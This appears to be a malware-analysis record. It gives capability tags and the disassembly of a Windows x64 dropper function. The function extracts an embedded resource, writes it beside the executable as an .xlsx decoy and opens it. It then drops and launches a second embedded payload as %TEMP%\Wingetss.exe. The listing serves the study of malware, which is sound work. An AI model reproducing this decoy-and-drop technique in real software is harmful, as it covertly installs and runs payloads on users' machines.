Function at 0x140007ed0
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x9e8
lea rsi, [rsp + 0x170]
lea r14, [rsp + 0x280]
call dbg.__main
mov rdi, rsi
xor eax, eax
mov ecx, 0x20
rep stosq qword [rdi], rax
mov ecx, 0x20
lea r8, str.bitmap
mov edx, 0x66
mov r15, qword [sym.imp.KERNEL32.dll_FindResourceA]
mov dword [rdi], 0
lea rdi, [rsp + 0x280]
rep stosq qword [rdi], rax
mov dword [rdi], 0
call r15
xor ecx, ecx
mov rbx, rax
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadResource]
mov qword [rsp + 0x50], rax
call rax
mov rdx, rbx
xor ecx, ecx
mov rdi, rax
mov rax, qword [sym.imp.KERNEL32.dll_SizeofResource]
mov qword [rsp + 0x68], rax
call rax
mov rcx, rdi
mov r13d, eax
mov rax, qword [sym.imp.KERNEL32.dll_LockResource]
mov qword [rsp + 0x60], rax
call rax
mov r8d, 0x104
mov rdx, r14
xor ecx, ecx
mov r12, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov qword [rsp + 0x58], rax
call rax
mov edx, 0x5c
mov rcx, r14
call sym.strrchr
mov rbx, rax
test rax, rax
je 0x140007ff3
mov edx, 0x104
mov rcx, rsi
lea r8, [rax + 1]
call qword [sym.imp.msvcrt.dll_strcpy_s]
mov byte [rbx], 0
mov edx, 0x2e
mov rcx, rsi
call sym.strrchr
test rax, rax
je 0x140007ff3
mov rdx, rsi
lea rcx, [rax + 1]
mov r9d, 4
sub rdx, rax
lea r8, str.xlsx
add rdx, 0x104
call qword [sym.imp.msvcrt.dll_strncpy_s]
xor ebx, ebx
mov ecx, 0x20
mov r9, r14
mov edx, 0x104
mov rax, rbx
lea rdi, [rsp + 0x390]
lea rbp, [rsp + 0x390]
mov r14, qword [dbg.sprintf_s]
rep stosq qword [rdi], rax
lea r8, str._s_s
mov rcx, rbp
mov dword [rdi], 0
lea rdi, [rsp + 0x98]
mov qword [rsp + 0x20], rsi
call r14
mov r10, qword [sym.imp.KERNEL32.dll_CreateFileA]
xor r9d, r9d
xor r8d, r8d
mov rcx, rbp
mov dword [rsp + 0x28], 0
mov edx, 0x1f01ff
mov qword [rsp + 0x78], r10
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x20], 2
call r10
lea r9, [rsp + 0x88]
mov r8d, r13d
mov rdx, r12
mov rsi, rax
mov r12, qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rax
mov qword [rsp + 0x20], 0
call r12
mov r11, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov rcx, rsi
mov qword [rsp + 0x70], r11
call r11
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
lea rsi, [rsp + 0x100]
mov qword [rsp + 0x40], rax
call rax
mov rax, rbx
mov ecx, 0xd
mov qword [rsp + 0x48], rsi
mov r13, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
lea rsi, [rsp + 0x5b0]
mov qword [rsp + 0x94], 0
mov qword [rsp + 0xf8], 0
rep stosq qword [rdi], rax
mov qword [rsp + 0xa8], rbp
lea rcx, [rsp + 0x90]
lea rdi, [rsp + 0x4a0]
mov dword [rsp + 0x90], 0x70
lea rbp, [rsp + 0x4a0]
mov dword [rsp + 0xc0], 5
call r13
mov rax, rbx
mov ecx, 0x20
mov rdx, rbp
rep stosq qword [rdi], rax
mov ecx, 0x104
mov dword [rdi], 0
lea rdi, [rsp + 0x5b0]
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
mov rax, rbx
mov ecx, 0x20
mov r9, rbp
rep stosq qword [rdi], rax
lea r8, str._sWingetss.exe
mov rcx, rsi
mov edx, 0x104
mov dword [rdi], 0
call r14
lea r8, str.dialog
xor ecx, ecx
mov edx, 0x67
call r15
mov r10, qword [rsp + 0x50]
xor ecx, ecx
mov rdi, rax
mov rdx, rax
call r10
mov rdx, rdi
xor ecx, ecx
mov rdi, qword [rsp + 0x68]
mov rbp, rax
call rdi
mov rdx, qword [rsp + 0x60]
mov rcx, rbp
mov edi, eax
call rdx
mov r10, qword [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
mov rbp, rax
mov rcx, rsi
mov qword [rsp + 0x30], 0
mov edx, 0x1f01ff
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 2
call r10
lea r9, [rsp + 0x8c]
mov r8d, edi
mov rdx, rbp
mov r15, rax
mov rcx, rax
mov qword [rsp + 0x20], 0
lea rdi, [rsp + 0x108]
call r12
mov r11, qword [rsp + 0x70]
mov rcx, r15
lea rbp, [rsp + 0x6c0]
call r11
mov rcx, r15
mov rax, qword [rsp + 0x40]
call rax
mov rax, rbx
mov ecx, 0xd
mov rdx, rbp
mov qword [rsp + 0x104], 0
mov r8d, 0x104
mov qword [rsp + 0x168], 0
rep stosq qword [rdi], rax
lea rdi, [rsp + 0x6c0]
mov ecx, 0x20
mov qword [rsp + 0x118], rsi
rep stosq qword [rdi], rax
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x100], 0x70
mov dword [rsp + 0x130], 5
mov dword [rdi], 0
lea rdi, [rsp + 0x7d0]
call rax
mov rax, rbx
mov ecx, 0x41
mov r9, rbp
rep stosq qword [rdi], rax
mov qword [rsp + 0x20], rsi
mov edx, 0x208
lea rbx, [rsp + 0x7d0]
lea rsi, str.Debug___CommandLine:__s_n
lea r8, str.__s____s_
mov rcx, rbx
call r14
mov rdx, rbp
mov rcx, rsi
call sym.printf.constprop.0
mov rdx, rbx
mov rcx, rsi
call sym.printf.constprop.0
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x120], rbx
call r13
xor eax, eax
add rsp, 0x9e8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret